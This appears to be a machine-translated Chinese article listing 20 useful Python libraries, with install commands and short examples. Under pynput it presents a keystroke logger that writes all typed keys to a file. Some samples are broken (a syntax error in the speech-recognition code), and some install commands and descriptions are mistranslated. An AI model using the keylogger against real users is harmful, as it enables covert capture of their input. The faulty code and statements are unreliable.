iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > Python >有用的Python库有哪些
  • 824
分享到

有用的Python库有哪些

2023-06-15 18:06:40 824人浏览 薄情痞子

Python 官方文档:入门教程 => 点击学习

摘要

这篇文章主要讲解了“有用的python库有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“有用的Python库有哪些”吧!1. ColoramaColorama 是一个用来使你的终端看起来

这篇文章主要讲解了“有用的python库有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“有用的Python库有哪些”吧!

1. Colorama

Colorama 是一个用来使你的终端看起来更好 Python 库,它可以用来给终端添加颜色。

安装:pip install colorama

有用的Python库有哪些

示例

2. Pynput

此库用于控制鼠标和键盘等外部设备的瞬间。使用一些简单的代码行,我们可以使用库来控制键盘和鼠标。此库的优秀应用程序是使用它创建一个键盘记录程序。下面的代码解释了使用库的键盘记录器的实现。

安装:pip install Pynput

from pynput.keyboard import Key, Controller,Listener import time keyboard = Controller() keys=[] def on_press(key):     global keys     string = str(key).replace("'","")     keys.append(string)     main_string = "".join(keys)     print(main_string)     if len(main_string)>15:       with open('keys.txt', 'a') as f:           f.write(main_string)              keys= []      def on_release(key):     if key == Key.esc:         return False  with Listener(on_press=on_press,on_release=on_release) as listener:     listener.join()

3. progress 和 tqdm

Progress:使用这个库,我们可以轻松地创建一个进度条。

安装:pip 安装进度

from progress.bar import Bar bar = Bar('Loading', max=20) for i in range(20):     # Any Task     bar.next() bar.finish()

下面的动画显示了我们可以使用进度创建不同的条形图。

有用的Python库有哪些

tqdm:它也做类似的工作,但是看起来更有效率,并且与现代编程保持同步。

安装:pip install tqdm

4. google trans

Googletrans 是一个免费的无限制的 python 库,它是 Google 翻译 api  的一个实现。使用这个库,只需要几行代码就可以创建一个语言翻译器。

安装:pip install googletrans

from googletrans import Translator , LANGUAGES from googletrans.models import Translated language = list(LANGUAGES.values()) translator = Translator() translated=translator.translate(text="How are You??", src = 'english', dest = 'hindi') print(translated)

您还可以进一步创建一个 GUI,将一种语言翻译成另一种语言。

5. google

谷歌库允许你搜索一个查询,找到相关的链接,并返回所有的链接。我们还可以自定义要返回的链接数量。

安装:pip install google

from googlesearch import search query = 'what is Machine learning?' for j in search(query, tld="co.in", num=1, stop=5, pause=2):  ## it will return a total of 5 links     print(j)

6. Pillow

Pillow 是一个用于图像处理的 python  库。它可以用来创建缩略图,转换文件格式,旋转,应用过滤器,显示图像,等等。如果您希望批量执行任务,那么它是一个理想的库。

安装:pip install pillow

为了快速了解这个库,下面是一些代码,您可以显示一个图像并将其更改为灰度。

from PIL import Image, ImageOps img1 = Image.open("img.png") ## Load a imge img1.show() img2 = ImageOps.grayscale(img1) ## gray scale img2.show()
有用的Python库有哪些

原始图像向灰度的转换

7. wikipedia

Wikipedia 库允许我们通过 Python 脚本与 Wikipedia 进行交互。通过这个,我们可以在终端上搜索任何东西。

安装:pip install wikipedia

import wikipedia query = 'Narendra Modi' results = wikipedia.summary(query, sentences=2) ## change the number of sentence to get a larger Words summary print(results)

8. SpeechRecognition

SpeechRecognition 是一个用于识别语音并将其转换为文本的 Python 库。它在几个引擎和 api  的支持下识别语音。它甚至可以在离线模式下工作。

安装:pip install SpeechRecognition

下面的代码可以识别您的声音,将其转换成文本,然后在终端上打印出来。

import speech_recognition as sr r = sr.Recognizer() with sr.Microphone() as source:     t_end = time.time() + 5     while time.time() < t_end:         print("karl: Listening...")         audio=r.listen(source)     try:             query = r.recognize_google(audio)         print(f"user:{query}")     except"         print("Try Again")

9. IPython

有用的Python库有哪些

这个库为我们提供了在终端、 Qt 控制台和通过 html 笔记本使用 IPython shell  的特性。这是三星笔记本的核心。你可以在这里找到完整的文档。下面我列出了一些 IPython 的特性。

  • 全面的对象自省

  • 输入历史记录,跨会话持久化

  • 在使用自动生成的引用的会话期间缓存输出结果

  • 可扩展选项卡完成,默认支持完成 Python 变量和关键字、文件名和函数关键字

  • 可扩展的“magic”命令系统,用于控制环境和执行与 IPython 或操作系统相关的许多任务

  • 会话日志记录和重载

  • 针对特殊情况的可扩展语法处理

  • 使用用户可扩展别名系统访问系统 shell

  • 很容易嵌入到其他 Python 程序和 GUI 中

  • 调试器和 Python 分析器的集成访问

10. wxpython

有用的Python库有哪些

wxPython 是一个用于 python 的 GUI  工具包。它是许多计算机软件的强大包装器,可以在各种不同的平台上实现。它是一个跨平台的库。许多开发人员发现 wxPython 作为 Tkinter  的优质替代品非常有效。

11. Poetry

这是一个简单易用的 Python 软件包。它允许您管理 Python 打包和项目的版本控制。虽然你的项目依赖于许多库,但是 Poetry  可以让你很容易地控制它们。

安装:pip install poetry

有用的Python库有哪些

12. Pygame

Pygame 是许多 python 开发人员的最爱。它用于使用 Python  创建游戏。它是一个跨平台的库,几乎可以在每个平台上使用。尽管它是一个成熟的游戏引擎,但您也可以使用这个库直接从 Python 脚本播放  MP3文件。它由计算机图形学和声音库组成。

在 PyGame 上编写的游戏和应用程序与所有 SDL 支持的操作系统兼容。它们也可以在机器人和平板电脑上运行。

安装:pip install pygame

PyGame 有自己的网站 PyGame. org,其中包括教程和安装说明。

13. Text Blob

TextBlob 是一个用于处理文本数据的 Python 库。它提供了一个简单的  API,用于深入研究常见的自然语言处理(NLP)任务,如词性标注、名词短语提取、情感分析、分类、翻译等。

安装:pip install textblob

from textblob import TextBlob testimonial = TextBlob("Textblob is amazingly simple to use. What great fun!") testimonial.sentiment

14. OpenCV

有用的Python库有哪些

OpenCV 是计算机视觉领域很受欢迎的库。它最初是用 C 和 c++ 编写的。现在也可以在 Python  中使用。它最初是由英特尔开发的。该库是一个跨平台的开源库。免费使用。OpenCV 是一个高度优化的库,主要关注实时应用程序。

安装:pip install opencv-python

15. win10 toast

它是一个易于使用的 Python 库,用于显示 windows 10 Toast Notifications,这对于 Windows GUI  开发非常有用。

安装:pip install win10toast

应用:创建提醒应用程序

from win10toast import ToastNotifier  toaster = ToastNotifier() header = 'Medium Article' text = 'Its the correct time to start writing your article' toaster.show_toast(f"{header}",f"{text}",duration=10,threaded=True) while toaster.notification_active(): time.sleep(0.005)
有用的Python库有哪些

16. playsound

顾名思义,这个库用于在 Python 中播放音频文件。

安装:pip install playsound

应用: 使用 Python 创建音乐播放器

from playsound import playsound  playsound('PATH_TO_AUDIO_FILE')

17. webbrowser

这个 Python 包用于与网络浏览器交互。它用于在用户从命令行给出的浏览器中打开不同的链接。

安装:pip install WEBbrowser

应用:自动化你的日常工作应用

import webbrowser webbrowser.open("https://stackoverflow.com")

18. Python-dateutil

这个 Python 库是 Python datetime 模块的扩展,它提供了大量的特性和功能。

安装:pip install python-dateutil

from dateutil.relativedelta import * from dateutil.easter import * from dateutil.rrule import * from dateutil.parser import * from datetime import * now = parse("Tue 11 17:13:46 Dec UTC 2020") today = now.date() year = rrule(YEARLY,dtstart=now,bymonth=8,bymonthday=13,byweekday=FR)[0].year rdelta = relativedelta(easter(year), today) print("Today is: %s" % today)

19. Setuptools

这个 Python 库是 Python 中所有库的父类,它用于在 Python 中创建库。

安装:pip install setuptools

20. pyfiglet

Pyfiglet Python 库用于在终端中编写时髦的文本。这是我在创建 CLI 应用程序是最喜欢使用的软件包之一。

安装:pip install pyfiglet

有用的Python库有哪些

感谢各位的阅读,以上就是“有用的Python库有哪些”的内容了,经过本文的学习后,相信大家对有用的Python库有哪些这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是编程网,小编将为大家推送更多相关知识点的文章,欢迎关注!

--结束END--

本文标题: 有用的Python库有哪些

本文链接: https://www.lsjlt.com/news/281256.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 有用的Python库有哪些
    这篇文章主要讲解了“有用的Python库有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“有用的Python库有哪些”吧!1. ColoramaColorama 是一个用来使你的终端看起来...
    99+
    2023-06-15
  • 实用的Python库有哪些
    这篇文章主要讲解了“实用的Python库有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“实用的Python库有哪些”吧!数据收集大部分数据分析项目都始于数据收集和提取。在一些情况下,当为...
    99+
    2023-06-16
  • 有哪些有趣的Python库
    本篇内容介绍了“有哪些有趣的Python库”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1. BashplotlibBashplotlib是...
    99+
    2023-06-16
  • 好用的Python库有哪些
    本篇内容主要讲解“好用的Python库有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“好用的Python库有哪些”吧!1. Wget数据提取,尤其是从网络中提取数据,是数据科学家的重要任务之...
    99+
    2023-06-16
  • 有哪些好用的Python库
    这篇“有哪些好用的Python库”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“有哪些好用的Python库”文章吧。1、Typ...
    99+
    2023-06-27
  • 有哪些实用Python库
    这篇文章主要讲解了“有哪些实用Python库”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“有哪些实用Python库”吧!Wget从网络上提取数据是数据科学家的重要任务之一。Wget 是一个免...
    99+
    2023-06-16
  • 有哪些Python库
    本篇内容介绍了“有哪些Python库”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1.KerasKeras是由python编写的机器学习AP...
    99+
    2023-06-15
  • python turtle库的用途有哪些
    Turtle库是Python中的一个绘图库,主要用于绘制图形和动画。它可以通过简单的命令来控制一个海龟(turtle)绘制各种形状和...
    99+
    2023-10-25
    python turtle
  • python中常用的库有哪些
    Python中常用的库有很多,以下是一些常用的库:1. NumPy:用于数值计算和矩阵操作。2. Pandas:用于数据处理和分析。...
    99+
    2023-08-30
    python
  • Python中有哪些实用的库
    这篇文章给大家介绍Python中有哪些实用的库,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。python是什么意思Python是一种跨平台的、具有解释性、编译性、互动性和面向对象的脚本语言,其最初的设计是用于编写自动化...
    99+
    2023-06-06
  • 不常用但很有用的Python库有哪些
    这篇文章主要讲解了“不常用但很有用的Python库有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“不常用但很有用的Python库有哪些”吧!导读提到数据科学的python包,大家想到的估...
    99+
    2023-06-16
  • 有哪些Python GUI库
    本篇内容介绍了“有哪些Python GUI库”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1. Tkinter是一个轻量级的跨平台图形用户界...
    99+
    2023-06-16
  • python爬虫用到的库有哪些
    Python爬虫常用的库有: requests:用于发送HTTP请求,获取网页内容。 BeautifulSoup:用于解析HTML...
    99+
    2023-10-24
    python
  • 学习Python常用的库有哪些
    本篇内容介绍了“学习Python常用的库有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1、Urllib38.93亿次下载Urllib3...
    99+
    2023-07-06
  • 重要的Python库有哪些
    这篇文章主要讲解了“重要的Python库有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“重要的Python库有哪些”吧!01 NumPyhttp://numpy.orgNumPy是Num...
    99+
    2023-06-15
  • python的开源库有哪些
    Python有很多开源库,以下是一些常用的库:1. Numpy:用于科学计算的基础库,提供了大量的数学和数组操作功能。2. Pand...
    99+
    2023-09-22
    python
  • python自带的库有哪些
    Python自带的库有很多,以下是一些常用的库:1. math:数学运算库,提供了一些常用的数学函数,如三角函数、对数函数等。2. ...
    99+
    2023-09-22
    python
  • 有哪些难懂的Python库
    这篇文章主要讲解了“有哪些难懂的Python库”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“有哪些难懂的Python库”吧!1. Scrapy每位数据科学家的项目都是从处理数据开始的,而互联...
    99+
    2023-06-16
  • 常用Python标准库有哪些
    这篇文章主要为大家展示了“常用Python标准库有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“常用Python标准库有哪些”这篇文章吧。常用 Python...
    99+
    2024-04-02
  • 有哪些优秀Python库
    本篇内容介绍了“有哪些优秀Python库”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1.开源Pandas库它是Python中数据分析和数据...
    99+
    2023-06-16
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作